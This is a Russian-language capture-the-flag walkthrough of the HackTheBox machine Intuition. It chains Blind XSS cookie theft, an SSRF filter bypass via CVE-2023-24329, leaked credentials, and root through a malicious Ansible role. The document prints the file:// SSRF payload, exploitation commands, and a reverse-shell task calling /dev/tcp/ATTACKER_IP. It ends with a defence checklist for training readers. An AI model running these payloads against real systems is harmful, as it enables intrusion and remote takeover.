Перейти к содержимому

HTB Intuition writeup: SSRF в PDF парсере и supply chain атака через Ansible runner

HTB Intuition writeup: SSRF в PDF парсере и supply chain атака через Ansible runner
Время чтения: 10 мин.

CVE-2023-24329 получила CVSS 7.5 (HIGH), а её EPSS — показатель вероятности эксплуатации в ближайшие 30 дней — составляет 0.2046 (percentile 97.2, то есть выше 97% всех CVE). Суть: один пробел перед URL ломает парсинг протокола в Python-библиотеке urllib, и фильтр типа «не принимать file://» перестаёт работать. На машине Intuition с HackTheBox (Hard, Linux, Season 5) эта CVE — центральное звено цепочки из шести шагов: Blind XSS → перехват cookie администратора → SSRF через PDF-генератор → чтение исходного кода и учётных данных → SSH-доступ → root через supply chain атаку на внутренний Ansible runner. Ниже — каждый шаг с объяснением, зачем он нужен, какую команду вводить и что ожидать в ответе.

По классификации MITRE ATT&CK (открытая база тактик и техник атак; T-коды вроде T1190 — её идентификаторы) цепочка проходит через четыре тактики: Initial Access — эксплуатация публичного приложения (T1190), Credential Access — учётные данные в файлах (T1552.001), Lateral Movement — SSH (T1021.004), Privilege Escalation — компрометация зависимостей и средств разработки (T1195.001). Для T1021.004 автоматизированные тесты Atomic Red Team реализованы только под Windows; на Linux — ручные PoC.

Требования к окружению

  • ОС: Kali Linux 2023.x+ или Parrot OS (любой Linux с предустановленными инструментами пентеста)
  • RAM: от 4 ГБ (основная нагрузка — Burp Suite)
  • Сеть: активное VPN-подключение к HackTheBox
  • Инструменты: nmap, ffuf, Burp Suite Community или Pro, python3, hashcat, SSH-клиент
  • Доступ: HTB-машина Intuition (на момент публикации — в retired-секции, доступна с подпиской VIP)

Разведка и Blind XSS: путь к панели администратора

Начинаем с полного сканирования портов: nmap -p- --min-rate 10000 10.10.11.15. Если VPN-канал нестабильный — снижай rate до 5000 или делай повторный проход с -sV -p 22,80 для верификации. Результат: открыты 22 (SSH, OpenSSH 8.9p1 Ubuntu) и 80 (HTTP, nginx 1.18.0). По версии OpenSSH определяем ОС — Ubuntu 22.04 Jammy. HTTP-сервер перенаправляет на comprezzor.htb, добавляем домен в /etc/hosts.

Фаззим субдомены: ffuf -u http://10.10.11.15 -H "Host: FUZZ.comprezzor.htb" -w subdomains-top1million-20000.txt -mc all -ac. Зачем: nginx может обслуживать разный контент для разных виртуальных хостов на одном IP, и без фаззинга мы этого не увидим. Находим три субдомена: auth, report, dashboard — добавляем все в /etc/hosts.

Основной сайт — сервис сжатия файлов (загрузка → .xz), тупик для эксплуатации. auth.comprezzor.htb — логин и регистрация. report.comprezzor.htb — отправка багрепортов. dashboard.comprezzor.htb — панель управления, требует авторизации.

Регистрируем аккаунт, логинимся. Cookie содержит JSON: {"user_id": 6, "username": "test", "role": "user"} и HMAC-подпись через |. Подменить роль на admin руками не выйдет — без секретного ключа приложения подпись не совпадёт, сервер вернёт ошибку.

Переключаемся на форму репортов. Это классическая точка входа для Blind XSS — варианта Cross-Site Scripting, при котором JS-код выполняется в браузере другого пользователя. «Blind» означает, что ты не видишь результат рендеринга сам: репорт уходит на модерацию, а XSS срабатывает, когда модератор его открывает. Отправляем пейлоад и запускаем HTTP-сервер на своей машине (python3 -m http.server 8081). Через пару минут приходит GET-запрос с cookie пользователя webdev — бот модератора «открыл» репорт, XSS отработал в его браузере.

Подставляем cookie в браузер — попадаем на dashboard с правами webdev. Тут доступна смена приоритета репортов. Отправляем новый репорт с тем же XSS-пейлоадом и выставляем ему приоритет = 1 (высокий). Логика: репорты с высоким приоритетом просматривает пользователь с более высокими правами. Ждём — получаем cookie с ролью admin.

Ограничение: Blind XSS блокируется заголовком CSP (Content-Security-Policy) с директивой script-src 'self'. Бесполезен и в случае, когда модератор просматривает репорты через API или текстовый клиент без рендеринга HTML.

SSRF в PDF парсере: эксплуатация CVE-2023-24329

С admin-cookie открывается вкладка «Create PDF Report». Поле принимает URL и генерирует PDF с содержимым страницы. Отправляем URL своего HTTP-сервера, смотрим входящий запрос. В заголовке User-Agent видим: Python-urllib/3.11.

urllib.parse — стандартный модуль Python для разбора URL. В версиях до 3.11.4 он уязвим к CVE-2023-24329 (CWE-20, Improper Input Validation — некорректная валидация входных данных). Разбор CVSS-вектора для тех, кто впервые его видит (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N): AV:N — атака по сети, AC:L — низкая сложность, PR:N — без привилегий, UI:N — без участия пользователя, S:U — scope не меняется, C:N — нет влияния на конфиденциальность, I:H — высокое влияние на целостность, A:N — нет влияния на доступность. NVD оценивает impact только на integrity (обход блок-листа), без прямого влияния на конфиденциальность. Но в контексте Intuition impact усиливается связкой с file:// handler — а это в базовом CVSS не учитывается. Типичная история: CVSS даёт 7.5, а реальный импакт на конкретной системе — полный захват.

Пробел перед URL ломает определение схемы протокола, и фильтр, проверяющий «не начинается ли URL с file://», обходится.

Передаём в поле PDF-генератора:

 file:///etc/passwd

Пробел перед file:// — вся эксплуатация. urllib.parse не распознаёт схему, пропускает URL мимо проверок, а urllib.request обрабатывает его корректно и читает файл. PDF возвращается с содержимым /etc/passwd.

Это SSRF (Server-Side Request Forgery) — подделка запроса на стороне сервера. Мы заставляем сервер отправить запрос от своего имени к ресурсу, к которому у нас нет прямого доступа. Здесь — к локальной файловой системе.

Дальше — читаем file:///proc/self/cmdline, узнаём, что процесс запущен как /app/code/app.py. Читаем файл, получаем исходный код Flask-приложения. В нём видны импорты blueprint-модулей. Последовательно запрашиваем report.py, auth.py, dashboard.py — в последнем находим учётные данные FTP-сервера: ftp_admin:u3jai8y71s2@ftp.local.

Техника T1552.001 (Credentials In Files) в действии: учётные данные FTP захардкожены прямо в исходном коде. По данным IBM X-Force Threat Intelligence Index 2025, свыше 6 000 учётных данных публикуется в dark web ежедневно, и хранение паролей в коде — один из типичных источников утечек.

Ограничение: CVE-2023-24329 закрыта в Python 3.11.4+. На обновлённых системах пробел перед URL не обходит фильтры. Версию Python можно определить по User-Agent в ответе сервера.

От чтения исходников к SSH-доступу через внутренний FTP

FTP-порт закрыт снаружи (nmap его не показал), но SSRF позволяет обратиться к нему изнутри. Передаём в PDF-генератор ftp://ftp_admin:u3jai8y71s2@ftp.local — получаем PDF с листингом FTP-директории. На сервере два файла: welcome_note.txt (парольная фраза для расшифровки SSH-ключа) и private-8297.key (приватный ключ). Вычитываем оба через SSRF, добавляя имя файла к URL.

Сохраняем ключ, выставляем права chmod 400 private-8297.key — SSH откажет в подключении, если ключ доступен другим пользователям. Подключаемся: ssh -i private-8297.key dev_acc@10.10.11.15. При запросе passphrase вводим строку из welcome_note.txt. Мы внутри как dev_acc — user flag получен.

Из-под dev_acc находим users.db — SQLite-базу с хешами паролей: sqlite3 users.db "SELECT * FROM users;". Формат хеша — sha256$salt$hash (устаревший Django SHA256PasswordHasher, не PBKDF2). Для стандартного Django PBKDF2-SHA256 формат другой — pbkdf2_sha256$iterations$salt$hash, hashcat mode -m 10000. Для sha256$salt$hash нужен кастомный preprocessing (подробности через hashcat --help). Один из хешей поддаётся перебору по словарю rockyou.

Пароль не подходит для SSH, но FTP на localhost доступен. Подключаемся — находим runner1.c (исходный код бинарника) и run-tests.sh. Параллельно обнаруживаем пароль пользователя lopez в логах Suricata (IDS, система обнаружения вторжений) в plaintext: Suricata на этой машине логировала HTTP-трафик, включая POST-параметры аутентификации. Делаем su lopez с найденным паролем.

Ограничение: Suricata по умолчанию не логирует пароли в открытом виде. Здесь — результат неправильной конфигурации, специфичной для этой машины. В боевой среде IDS фильтрует чувствительные поля.

Повышение привилегий: supply chain атака на Ansible runner

Под lopez обнаруживаем бинарник runner2 с SUID-битом — он запускается с правами владельца, то есть root. Анализ runner1.c раскрывает три команды: list (список playbooks), run (запуск playbook) и install (установка роли по URL). Каждая требует аутентификации: MD5-хеш передаваемого ключа сравнивается с захардкоженным значением.

В run-tests.sh находятся первые 8 символов auth-ключа. Оставшиеся 2 символа перебираем: MD5 от 10-символьной строки при переборе 2 байт — максимум 65 536 вариантов, hashcat справляется за секунды.

Команда install — ядро эксплуатации. Она принимает URL, скачивает tar-архив и устанавливает его как Ansible-роль через ansible-galaxy install. Ansible Galaxy — менеджер пакетов для Ansible, аналог PyPI для Python: роли скачиваются из указанного источника и выполняются на целевой системе.

Это классический вектор supply chain атаки (T1195.001, Compromise Software Dependencies and Development Tools): атакующий контролирует источник, из которого система устанавливает зависимость. Тот же принцип работает при отравлении pip-пакетов на внутреннем PyPI-репозитории, подмене npm-модулей через dependency confusion, компрометации Go-модулей. Экосистема разная, паттерн — один.

Создаём вредоносную Ansible-роль: в tasks/main.yml прописываем задачу с reverse shell. Структура минимальна:

# tasks/main.yml — вредоносная Ansible-роль
- name: privesc
  shell: bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'

Упаковываем в tar.gz, поднимаем HTTP-сервер на атакующей машине, передаём URL: ./runner2 install http://ATTACKER_IP/evil-role.tar.gz -a <auth_key>. Бинарник скачивает архив, ansible-galaxy устанавливает роль, и при запуске playbook вредоносный код выполняется с правами root. Машина пройдена.

В реальной жизни supply chain атаки на Python-экосистему масштабируются. Типичный паттерн: атакующие компрометируют учётные данные мейнтейнера популярного пакета на PyPI и загружают вредоносную версию с инфостилером для сбора API-ключей и credentials. Вредоносный код часто прячется за слоями обфускации и срабатывает при обычном import.

Ограничения техники и чеклист защиты

Каждое звено цепочки HTB Intuition имеет конкретные условия, при которых атака не сработает:

Техника Работает если Не работает если
Blind XSS Нет CSP-заголовков, модератор рендерит HTML в браузере CSP с script-src 'self', review через API
SSRF через CVE-2023-24329 Python < 3.11.4, нет whitelist-валидации URL Python 3.11.4+, WAF с проверкой после strip()
Чтение файлов через file:// Процесс имеет права на целевые файлы, нет chroot AppArmor/SELinux, контейнер с read-only FS
Supply chain через Ansible SUID-бинарник, произвольный URL-источник ролей Проверка подписей ролей, whitelist источников

Чеклист для сисадмина (можно включить в отчёт):

  1. Обновить Python до 3.11.4+ — закрывает CVE-2023-24329
  2. Добавить Content-Security-Policy: script-src 'self' — блокирует inline XSS
  3. Валидировать URL на сервере после strip() — проверять схему, хост, порт по whitelist
  4. Вынести учётные данные из исходного кода в переменные окружения или HashiCorp Vault
  5. Настроить Suricata на маскирование чувствительных полей в логах (http.request_body)
  6. Убрать SUID с нестандартных бинарников или ограничить через sudoers с точными путями
  7. Для Ansible: фиксировать хеши ролей в requirements.yml, запретить установку из произвольных URL

Intuition учит тому, что индустрия не хочет признавать: патчинг отдельных CVE — иллюзия контроля. CVE-2023-24329 закрывается обновлением Python за пять минут. Но кто проверяет, какие пакеты устанавливаются из внутренних репозиториев? На каждом втором пентесте внутренний PyPI или Artifactory работают без проверки подписей, с default credentials и без аудита загрузок. OWASP выделил это в отдельную категорию — A08:2021 Software and Data Integrity Failures, — но мало кто реализует верификацию зависимостей дальше pip install -r requirements.txt.

Цепочка из Intuition — XSS → SSRF → credentials in files → supply chain — показывает, как четыре уязвимости уровня medium складываются в critical impact. Ни одна по отдельности не давала root. Но чейнинг — это то, чем пентестеры занимаются 80% рабочего времени, и именно этому не учат стандартные курсы, где каждая уязвимость разбирается изолированно. Если только начинаешь и хочешь пройти базу системно — IB Basics на codeby.school закрывает фундамент за пару месяцев без академического тона.

Эту тему и смежные навыки разбирают на практике в курсе «Тестирование веб-приложений на проникновение (WAPT)» Codeby Academy.